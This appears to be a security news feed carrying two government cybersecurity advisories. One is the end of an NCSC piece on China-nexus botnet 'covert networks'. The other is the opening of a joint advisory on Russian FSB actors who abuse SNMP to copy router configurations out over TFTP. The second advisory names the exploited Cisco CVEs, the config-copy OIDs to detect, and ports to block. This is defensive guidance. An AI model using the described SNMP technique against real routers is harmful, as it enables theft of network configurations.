<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>There is evidence that covert networks used by China-nexus actors are created and maintained by Chinese information security companies. A network known to network defenders as Raptor Train, which in 2024 infected more than 200,000 devices worldwide, was controlled and managed by the Chinese company, Integrity Technology Group. This company was also <a href="https://www.justice.gov/archives/opa/pr/court-authorized-operation-disrupts-worldwide-botnet-used-peoples-republic-china-state" target="_blank"><u>assessed by the FBI</u></a> to be responsible for the computer intrusion activities attributed to China-based hackers known as Flax Typhoon. </p>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<blockquote>
<p><strong>Botnet operations represent a significant threat to the UK by exploiting vulnerabilities in everyday internet-connected devices with the potential to carry out large-scale cyber attacks – NCSC Director of Operations, Paul Chichester </strong></p>
</blockquote>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>Covert networks mostly consist of compromised SOHO routers, but they also pull in any vulnerable device they can exploit at scale. Raptor Train was made up of thousands of SOHO routers and IoT devices, such as web cameras and video recorders, as well as firewalls and Network Attached Storage (NAS) devices. The KV Botnet used by Volt Typhoon <a href="https://www.justice.gov/archives/opa/pr/us-government-disrupts-botnet-peoples-republic-china-used-conceal-hacking-critical" target="_blank"><u>was mainly made up of vulnerable Cisco and NetGear routers</u></a>. The edge devices were vulnerable because they were “end of life” – out of date and no longer receiving updates or security patches by their manufacturers. </p>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>The cyber security industry has been aware of examples of these networks for some time and has publicly reported on the widespread scale of the threat and its implications. Mandiant Intelligence produced a <a href="https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks" target="_blank"><u>public blog in May 2024</u></a> talking about covert networks in which they highlighted a key issue for defenders – indicator of compromise (IOC) Extinction. If a particular threat group could now come from one of many covert networks, each with potentially hundreds of thousands of endpoints, and each used by multiple threat actors, old network defense paradigms of static malicious IP block lists will be less effective. This is compounded by the dynamic nature of these networks where new nodes will be added as old devices are patched or removed from use. </p>
<h3><strong>Typical Network Topology</strong></h3>
<p>The number of covert networks used by China-nexus cyber actors is large, with new networks regularly developed and deployed. The existing covert networks change too, either because of defensive or legal action, or simply as a result of software updates and new exploits being used to target different technologies for incorporation into the network. </p>
<div class="OutlineElement Ltr SCXW21942648 BCX8">
<p>Because of this, a description of all known covert networks in detail, including how they are constructed and how they communicate, would immediately be out of date – and for most network defenders would not be practically useful. </p>
</div>
<div class="OutlineElement Ltr SCXW21942648 BCX8">
<p>However, most covert networks of compromised devices use the same basic set up. Understanding this generalized structure can aid researchers and defenders by helping them to understand which part of a network they may have found, and how to defend against it. </p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-04/A%20diagram%20illustrating%20the%20basic%20setup%20of%20a%20covert%20network..png?itok=3Bfm4nKj" width="1024" height="877" alt="A diagram illustrating the basic setup of a covert network.">



</div>
      <figcaption class="c-figure__caption">A diagram illustrating the basic setup of a covert network.</figcaption>
  </figure>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The diagram above illustrates the basic setup of a covert network, where typically an actor will connect to the network via an on-ramp or entry node. Their traffic will be forwarded through multiple compromised devices, used as traversal nodes, before exiting the network from an exit node, usually in the same geographic region as the target. </p>
<h3><strong>Protective Advice </strong></h3>
<p>Defending from attackers using covert networks is not straightforward, and defensive tactics will be different based on the levels of resource and the nature of the target organization. General advice for good cyber security practice should be followed, and some key messages can be found in the appendix of this advisory.  </p>
</div>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The following advice is specifically tailored to steps which can be taken to combat the risk of attacks coming from large, dynamic networks of compromised devices. </p>
</div>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>Further guidance for all organizations facing cyber security threats is available on the NCSC website. </p>
<p><em>This guidance should be considered alongside all applicable laws and regulations of the UK and co-sealing countries relating to the security of networks and data. It will be each organization’s responsibility to ensure compliance with any such laws and regulations. Organizations should note that following the recommended actions set out below will not remove all risks.</em></p>
<h4><strong>All organizations</strong></h4>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The NCSC recommends the following steps for all affected organizations to either take themselves, or ask their managed service and/or security providers to investigate for them: </p>
<ul>
<li>Map and understand network edge devices, developing a clear understanding of organizational assets and what should be connecting to them.</li>
<li>Baseline normal connections, especially to corporate virtual private networks (VPNs) or other similar services.
<ul>
<li>Would you expect connections from consumer broadband ranges?</li>
</ul>
</li>
<li>Leverage available dynamic threat feeds which include covert network infrastructure.</li>
<li>Implement multifactor authentication for remote connections.</li>
</ul>
<p>Smaller organizations should consider creating and actioning a <a href="https://cybertoolkit.service.ncsc.gov.uk/" target="_blank"><u>free NCSC Cyber Action Toolkit</u></a>. </p>
<h4><strong>Larger or more at-risk organizations</strong></h4>
<div class="SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Some more comprehensive measures may be appropriate if the risk to an organization is high enough, to be conducted either in-house or through a security provider:  </p>
<ul>
<li>Apply IP address allow lists rather than deny lists for connections to corporate VPNs for remote workers.</li>
<li>Use geographic allow lists or profile incoming connections based on operating system, time zones, and/or organization specific system configuration settings.</li>
<li>Implement zero trust policies for connections.</li>
<li>Enforce machine certificates for Secure Sockets Layer (SSL) connections.</li>
<li>Reduce the internet-facing presence of the IT estate.</li>
<li>Investigate machine learning techniques to profile normal network edge activity to detect and block anomalies. </li>
</ul>
<p><a href="https://www.ncsc.gov.uk/cyberessentials/overview" target="_blank"><u>The NCSC's Cyber Essentials</u></a> can help protect organizations of all sizes. </p>
<h4><strong>Largest or most at-risk organizations</strong> </h4>
<p>If Advanced Persistent Threat (APT) tracking is part of an organization’s in-house capability, or if it is part of the service provided by a security vendor, consider tracking China-nexus covert networks as APTs in their own right.</p>
<ul>
<li>Active hunting – look for connections from IP addresses likely to be part of a covert network of compromised devices, for instance those hosting SOHO routers or IoT devices.</li>
<li>Track and map covert networks reported by industry or government by looking at banners and certificates.</li>
<li>Use threat reporting and threat feeds to create and implement dynamic blocklists and create alert rules to detect incoming threats.</li>
<li>Consider using NetFlow feeds to look upstream and map covert networks to find new nodes. </li>
</ul>
<p>The <a href="https://www.ncsc.gov.uk/collection/cyber-assessment-framework" target="_blank"><u>NCSC Cyber Assessment Framework</u></a> provides guidance for organizations under the highest levels of threat, including those operating essential services, in sectors such as energy, healthcare, transport, digital infrastructure and government.  </p>
<h3><strong>MITRE ATT&amp;CK® </strong></h3>
<p>This advisory has been compiled with respect to the MITRE ATT&amp;CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. </p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Tactic </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>ID </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Technique </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Procedure </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/005/" target="_blank"><u>T1584.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Compromise Infrastructure: Botnet </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Botnets are used as core components of covert networks </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/008/" target="_blank"><u>T1584.008</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Compromise Infrastructure: Network Devices </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Devices are compromised and added to botnets </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Virtual private servers (VPS) are used in covert networks, typically as on-ramps </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Command and Control </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1090/003/" target="_blank"><u>T1090.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Proxy: Multi-hop Proxy </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Used by China-nexus cyber actors to route traffic </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<h3> <strong>Appendix: Cyber Security Best Practices </strong></h3>
<p>In addition to the protective advice outlined in this advisory, a number of cyber security best practices will also be useful in defending against the activity described in this advisory. </p>
<ul>
<li><strong>Protect your devices and networks by keeping them up to date</strong>: use the latest supported versions, apply security updates promptly, use antivirus and scan regularly to guard against known malware threats. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software" target="_blank"><u>https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software</u></a></li>
<li><strong>Prevent and detect lateral movement in your organization’s networks</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a></li>
<li><strong>Implement architectural controls for network segregation</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/10-steps-network-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/10-steps-network-security</u></a></li>
<li><strong>Set up a security monitoring</strong> <strong>capability</strong> so you are collecting the data that will be needed to analyze network intrusions. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes" target="_blank"><u>https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes</u></a> and <a href="https://www.ncsc.gov.uk/information/logging-made-easy" target="_blank"><u>https://www.ncsc.gov.uk/information/logging-made-easy</u></a></li>
<li><strong>Use modern systems and software.</strong> These have better security built-in. If you cannot move off out-of-date platforms and applications straight away, there are short term steps you can take to improve your position. See NCSC Guidance:  <a href="https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products" target="_blank"><u>https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products</u></a></li>
<li><strong>Restrict intruders' ability to move freely around your systems and networks</strong>. Pay particular attention to potentially vulnerable entry points such as third-party systems with onward access to your core network. During an incident, disable remote access from third-party systems until you are sure they are clean. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a> and <a href="https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security</u></a><u>.</u></li>
<li><strong>Deploy a host-based intrusion detection system</strong>. A variety of products are available, free and paid-for, to suit different needs and budgets.</li>
<li><strong>Further information</strong>: Invest in preventing malware-based attacks across various scenarios.  See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks" target="_blank"><u>https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks</u></a> </li>
</ul>
<h4><strong>Disclaimer </strong> </h4>
<p>This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by co-sealers. UK readers should refer to the NCSC website for information about <a href="https://www.ncsc.gov.uk/section/products-services/assured-services" target="_blank"><u>NCSC assured services</u></a>. </p>
</div>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.  </p>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Refer any FOIA queries to <a href="mailto:ncscinfoleg@ncsc.gov.uk" target="_blank"><u>ncscinfoleg@ncsc.gov.uk</u></a>.  </p>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>All material is UK Crown Copyright © </p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting]]></title>
<description><![CDATA[Russian Government-Sponsored Activity Targets Poorly Configured and Vulnerable Devices Across Critical Sectors
Executive summary
Russian Federal Security Service (FSB) Center 16 cyber actors continue to exploit poorly configured and vulnerable networking devices worldwide, opportunistically compr...]]></description>
<link>https://tsecurity.de/de/3693346/sicherheitsluecken/improve-router-hygiene-to-protect-against-russian-state-sponsored-targeting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693346/sicherheitsluecken/improve-router-hygiene-to-protect-against-russian-state-sponsored-targeting/</guid>
<pubDate>Sat, 25 Jul 2026 08:51:21 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Russian Government-Sponsored Activity Targets Poorly Configured and Vulnerable Devices Across Critical Sectors</p>
<h2><strong>Executive summary</strong></h2>
<p>Russian Federal Security Service (FSB) Center 16 cyber actors continue to exploit poorly configured and vulnerable networking devices worldwide, opportunistically compromising multiple critical infrastructure sector networks. This joint Cybersecurity Advisory (CSA) builds on FBI’s <a href="https://www.ic3.gov/PSA/2025/PSA250820" target="_blank">Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure</a> Public Service Announcement of the decade-plus FSB Center 16 cyber activity by providing additional tactics, techniques, and procedures (TTPs) to enable defenders to more fully understand and counter the threat. [<a href="https://www.cisa.gov/#Work1">1</a>] </p>
<p>This CSA is being released by the following authoring and co-sealing agencies: </p>
<ul type="square">
<li>United States National Security Agency (NSA)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#Foot1"><sup>1</sup></a> </li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#Foot2"><sup>2 </sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#Foot3"><sup>3</sup></a> </li>
<li>Estonian Information System Authority (RIA)<a href="https://www.cisa.gov/#Foot4"><sup>4</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#Foot5"><sup>5</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#Foot6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#Foot7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#Foot8"><sup>8 </sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#Foot9"><sup>9</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#Foot10"><sup>10 </sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#Foot11"><sup>11 </sup></a></li>
</ul>
<p>The authoring and co-sealing agencies strongly urge device owners and network defenders to take mitigation and remediation actions against Russian government-sponsored exploitation of vulnerable routers.</p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%201%20FSB%20Center%2016%20activity%20and%20recommended%20mitigation%20actions.png?itok=oYxdyna4" width="1024" height="576" alt="Adversary Techniques and corresponding Mitigation Actions as described in the Technical details and Mitigation actions sections.">



</div>
      <figcaption class="c-figure__caption">Figure 1: FSB Center 16 activity and recommended mitigation actions</figcaption>
  </figure>
<p>Download the PDF version of this report:</p>
<ul>
<li><a href="https://media.defense.gov/2026/Jul/09/2003959498/-1/-1/0/CSA_IMPROVE_ROUTER_HYGIENE.PDF" target="_blank">Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting</a> (PDF, 816KB)</li>
</ul>
<h2><strong>Cybersecurity industry tracking </strong></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to this activity. Although not all encompassing, the following list contains the most notable threat group names commonly used within the cybersecurity community related to this activity: </p>
<ul type="disc">
<li>Berserk Bear </li>
<li>Energetic Bear</li>
<li>Crouching Yeti </li>
<li>Dragonfly</li>
<li>Ghost Blizzard</li>
<li>Static Tundra</li>
</ul>
<p>Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this list may not provide a 1:1 correlation to the authoring agencies’ understanding for all activity related to these groupings.</p>
<h2><strong>Targeting details</strong></h2>
<p>Critical infrastructure sectors most at risk from the Russian Federal Security Service (FSB) Center 16 cyber actors’ targeting include:</p>
<ul type="disc">
<li>Communications,</li>
<li>Defense Industrial Base,</li>
<li>Energy,</li>
<li>Financial Services,</li>
<li>Government Services and Facilities, especially organizations at the state and local level, and</li>
<li>Healthcare and Public Health.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note: </strong>This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a><a href="https://www.cisa.gov/#Foot12"><sup>12</sup></a> framework, version 19. See <a href="https://www.cisa.gov/#AppA"><strong>Appendix A</strong></a> for tables of the activity mapped to MITRE ATT&amp;CK tactics and techniques. This advisory also uses MITRE DEFEND<sup>TM</sup> version 1.4.0.</p>
<p>The Russian FSB Center 16 cyber actors primarily use scanning to identify poorly configured networking devices, primarily routers, for exploitation. The actors scan for Internet IP ranges with active Simple Network Management Protocol (SNMP) agents that accept common or default community strings for authentication [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/001/" target="_blank">T1595.001</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1595/002/" target="_blank">T1595.002</a>]. These scans, run via proxies, consist of SNMP Set-Requests from a spoofed IP address [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/" target="_blank">T1027</a>] containing Object Identifiers (OIDs) that instruct the SNMP agent on poorly configured networking devices to [<a href="https://attack.mitre.org/versions/v19/techniques/T1569/" target="_blank">T1569</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1602/001/" target="_blank">T1602.001</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a>]:</p>
<ul type="disc">
<li>Copy its configuration to a file, often called “config.bkp” or “output.txt” [<a href="https://attack.mitre.org/versions/v19/techniques/T1003/" target="_blank">T1003</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1602/002/" target="_blank">T1602.002</a>].</li>
<li>Transfer the file, typically using Trivial File Transfer Protocol (TFTP), to an actor-controlled leased virtual private server (VPS) or compromised FTP server [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1071/" target="_blank">T1071</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank">T1048</a>].</li>
</ul>
<p>While SNMP scanning is the primary method the actors use to discover and exploit poorly configured networking devices, they occasionally exploit common vulnerabilities and exposures (CVEs) in Cisco devices, Cisco’s Smart Install (SMI) functionality, and web portals to manage network devices. The actors previously exploited at least the following CVEs [<a href="https://attack.mitre.org/versions/v19/techniques/T1584/008/" target="_blank">T1584.008</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1588/005/" target="_blank">T1588.005</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1190/" target="_blank">T1190</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1068/" target="_blank">T1068</a>]: </p>
<ul type="disc">
<li><a href="https://www.cve.org/CVERecord?id=CVE-2018-0171" target="_blank">CVE-2018-0171</a></li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2008-4128" target="_blank">CVE-2008-4128</a><a href="https://www.cisa.gov/#Foot13"><sup>13</sup></a></li>
</ul>
<p>Many of these TTPs overlap with activity by other malicious cyber actors, such as <a href="https://media.defense.gov/2025/Aug/22/2003786665/-1/-1/0/CSA_COUNTERING_CHINA_STATE_ACTORS_COMPROMISE_OF_NETWORKS.PDF" target="_blank">Salt Typhoon</a>. Even though this CSA focuses on Russian FSB Center 16 cyber activity, the mitigations below should detect and counter these and similar TTPs used by other actors.</p>
<h2><strong>Mitigation actions</strong></h2>
<p>The authoring agencies highly recommend network defenders implement the following mitigations to harden networks against this exploitation:</p>
<ul>
<li>Disable Cisco Smart Install on all devices [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a>]. [<a href="https://www.cisa.gov/#Work2">2</a>]</li>
<li>Use SNMPv3 with “authPriv” configured to the most modern encryption standard that is supported by the device instead of SNMPv1 or SNMPv2 [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a>]. [<a href="https://www.cisa.gov/#Work3">3</a>]
<ul>
<li>Disable SNMPv1 and SNMPv2. These are legacy protocols and should no longer be needed on current devices. If they are necessary, change all community strings from defaults and only allow read-only community strings rather than read-write access.</li>
<li>SNMPv3 adds strong authentication and data encryption that are unavailable in SNMPv1 and v2. SNMPv3 replaces clear text shared passwords, known as community strings, with more securely encoded parameters, and authenticates and encrypts data [<a href="https://d3fend.mitre.org/technique/d3f:MessageAuthentication" target="_blank">D3-MAN</a>, <a href="https://d3fend.mitre.org/technique/d3f:MessageEncryption" target="_blank">D3-MENCR</a>].</li>
</ul>
</li>
<li>Use strong, unique passwords for local accounts on network devices and configure credentials to be stored securely to prevent reuse of compromised passwords [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>].
<ul>
<li>Cisco devices protect passwords in the configuration file using different hashing types. Use hashing type 8 for user credentials. Avoid using hashing type 0, 4, and 7 as they are insecure or store passwords in plaintext in the configuration file. [<a href="https://www.cisa.gov/#Work4">4</a>]</li>
<li>Monitor for unusual credentials that do not conform to standard organizational naming conventions [<a href="https://d3fend.mitre.org/technique/d3f:PlatformMonitoring" target="_blank">D3-PM</a>]. </li>
<li> Monitor for and alert on logins using local accounts. Local accounts should only be used in emergency situations when accounts supported by centralized authentication servers are unavailable. Centralized authentication to network devices should support multi-factor authentication where feasible. [<a href="https://www.cisa.gov/#Work3">3</a>]</li>
</ul>
</li>
<li>Monitor and restrict access to SNMP OIDs using a Management Information Base (MIB) allow list [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a>]. [<a href="https://www.cisa.gov/#Work5">5</a>] Reference the vendor-specific MIB for the network devices and monitor OIDs for indications of reconnaissance or misconfiguration in logs or intrusion detection systems (IDS). IDS rules should be written for inbound SNMP Set-Requests that contain OIDs targeting sensitive device data [<a href="https://d3fend.mitre.org/technique/d3f:PlatformMonitoring" target="_blank">D3-PM</a>].<br>
<ul type="square">
<li>Example OIDs include:
<ul>
<li>1.3.6.1.4.1.9.9.96.1.1 (Cisco Config Copy)</li>
<li>1.3.6.1.4.1.9.9.96.1.1.1.1.5 (Config Copy Server Address, value for this OID is where the configuration file is being sent to) </li>
</ul>
</li>
</ul>
</li>
<li>Restrict management protocols [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficFiltering" target="_blank">D3-NTF</a>].
<ul>
<li>Use Access Control Lists (ACLs) to only allow management protocols, such as SNMP, from management devices, preferably on an out-of-band network. [<a href="https://www.cisa.gov/#Work3">3</a>]</li>
<li>On edge firewalls and devices deny all external communications on the following ports unless mission critical, with strict monitoring if blocking is not feasible:
<ul>
<li>User Datagram Protocol (UDP) port 69 (TFTP) </li>
<li>Transmission Control Protocol (TCP) port 4786 (SMI)</li>
<li>UDP ports 161 and 162 (SNMP)</li>
<li>TCP/UDP ports 10161 and 10162 (SNMPv3)</li>
</ul>
</li>
</ul>
</li>
<li>Update network device software and firmware images, especially to patch known vulnerabilities, and upgrade end-of-life devices to supported ones. <br>
<ul type="square">
<li>Use an attack surface management service to identify and secure Internet-facing systems with weak configurations and known vulnerabilities [<a href="https://d3fend.mitre.org/technique/d3f:NetworkVulnerabilityAssessment" target="_blank">D3-NVA</a>].
<ul>
<li>U.S.-based federal, state, local, tribal, and territorial governments and U.S. critical infrastructure organiztions should consider signing up for CISA’s no-cost <a href="https://www.cisa.gov/cyber-hygiene-services">Cyber Hygiene services</a>.</li>
<li>U.S. Defense Industrial Base organizations should consider signing up for <a href="https://www.nsa.gov/About/Cybersecurity-Collaboration-Center/DIB-Cybersecurity-Services/" target="_blank">NSA’s DIB Cybersecurity Services</a>.</li>
</ul>
</li>
</ul>
</li>
</ul>
<h2><strong>Resources</strong></h2>
<p><strong>United States:</strong></p>
<ul type="disc">
<li><a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia">Russia Threat Overview and Advisories</a></li>
<li><a href="https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF" target="_blank">Network Infrastructure Security Guide</a></li>
</ul>
<p><strong>Canada:</strong></p>
<ul type="disc">
<li><a href="https://www.cyber.gc.ca/en/guidance/routers-cyber-security-best-practices-itsap80019" target="_blank">Routers cyber security best practices (ITSAP.80.019)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/security-considerations-edge-devices-itsm80101" target="_blank">Security considerations for edge devices (ITSM.80.101)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/guidance-securely-configuring-network-protocols-itsp40062" target="_blank">Guidance on securely configuring network protocols (ITSP.40.062)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/baseline-security-requirements-network-security-zones-version-20-itsp80022" target="_blank">Baseline security requirements for network security zones (ITSP.80.022)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/top-10-it-security-actions-protect-internet-connected-networks-and-information-itsm10089" target="_blank">Top 10 IT security actions to protect Internet-connected networks and information (ITSM.10.089)</a></li>
</ul>
<h2><strong>Works cited</strong></h2>
<p>[<a class="ck-anchor">1</a>] FBI. Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure. Alert Number: I-082025-PSA. 2025. <a href="https://www.ic3.gov/PSA/2025/PSA250820" target="_blank">https://www.ic3.gov/PSA/2025/PSA250820</a></p>
